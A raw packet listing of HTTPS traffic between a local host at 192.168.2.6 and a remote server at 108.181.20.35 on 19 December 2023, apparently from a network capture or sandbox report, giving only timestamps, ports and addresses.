Dec 19, 2023 05:18:29.955140114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.955202103 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.955212116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.955249071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.974607944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.974642992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.974684954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.974705935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.974721909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.974742889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.977238894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.977273941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.977310896 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.977317095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.977340937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.977361917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.980107069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.980140924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.980174065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.980184078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.980196953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.983691931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.983992100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.984025002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.984062910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.984074116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:29.984087944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:29.984108925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.067913055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.067975998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.068022013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.068048000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.068077087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.068095922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.130208969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.130254030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.130289078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.130304098 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.130331039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.130351067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.131534100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.131597042 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.131620884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.131625891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.131654024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.131669044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.137953043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.137994051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.138025999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.138031960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.138067007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.138088942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.139892101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.139933109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.139954090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.139959097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.139982939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.139998913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.160482883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.160550117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.160572052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.160584927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.160615921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.160630941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.162576914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.162616014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.162652969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.162657976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.162689924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.162714005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.164618969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.164664984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.164683104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.164689064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.164717913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.164736032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.166919947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.166968107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.166996002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.167001963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.167026043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.167053938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.252461910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.252489090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.252589941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.252616882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.252660990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.313812971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.313839912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.313951969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.313998938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.314039946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.316008091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.316023111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.316080093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.316087961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.316113949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.317475080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.321820974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.321841002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.321897984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.321907997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.321934938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.321953058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.324821949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.324841022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.324884892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.324891090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.324918032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.324939966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.326003075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.326019049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.326081038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.326086998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.326112986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.326131105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.346276045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.346292973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.346384048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.346393108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.346434116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.348892927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.348907948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.348973989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.348979950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.349015951 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.351385117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.351398945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.351440907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.351445913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.351480007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.351491928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.356690884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.356705904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.356766939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.356774092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.356812000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.478584051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.488934040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.488956928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.489048004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.489072084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.489109039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.500442028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.500459909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.500544071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.500566959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.500606060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.503236055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.503251076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.503321886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.503329039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.503365993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.503859997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.509924889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.509941101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.510019064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.510027885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.510066032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.511035919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.511049986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.511122942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.511137009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.511169910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.530795097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.531016111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.531035900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.531109095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.531126976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.531157017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.531172037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.532941103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.532957077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.533015013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.533030987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.533046007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.533061028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.535011053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.535024881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.535082102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.535094976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.535114050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.535128117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.540815115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.540834904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.540908098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.540936947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.540971994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.556529045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.623054981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.623078108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.623220921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.623260975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.623316050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.685266972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.685293913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.685463905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.685486078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.685529947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.687340975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.687364101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.687444925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.687454939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.687493086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.692565918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.692589998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.692682981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.692693949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.692733049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.695835114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.695858955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.695935011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.695945978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.695986986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.697031975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.697052002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.697103024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.697112083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.697148085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.717061996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.717088938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.717227936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.717248917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.717294931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.718971968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.719001055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.719039917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.719047070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.719065905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.719083071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.723210096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.723252058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.723293066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.723310947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.723319054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.723344088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.726272106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.726294041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.726336956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.726347923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.726357937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.726382017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.809115887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.809149981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.809190989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.809215069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.809242010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.809267998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.872191906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.872224092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.872313023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.872325897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.872365952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.874608040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.874625921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.874703884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.874711037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.874747038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.879364014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.879396915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.879448891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.879458904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.879487038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.879503012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.882023096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.882039070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.882105112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.882112980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.882153988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.901274920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.901309967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.901384115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.901401997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.901441097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.902868032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.902884007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.902920008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.902925968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.902952909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.902970076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.904339075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.904360056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.904392958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.904397964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.904418945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.904438019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.909389019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.909408092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.909459114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.909468889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.909524918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.912168980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.912194014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.912230968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.912235975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:30.912365913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:30.912365913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.039558887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.039581060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.039635897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.039664030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.039676905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.039699078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.058150053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.058172941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.058248997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.058275938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.058317900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.060902119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.060920000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.060981035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.060997963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.061033964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.066143990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.066159964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.066207886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.066232920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.066246986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.066263914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.069941044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.069957018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.070039988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.070059061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.070101023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.086977005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.087002039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.087115049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.087156057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.087197065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.088587046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.088609934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.088659048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.088674068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.088696957 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.088713884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.094961882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.094990015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.095052004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.095067978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.095108986 CET	49718	443	192.168.2.6	108.181.20.35
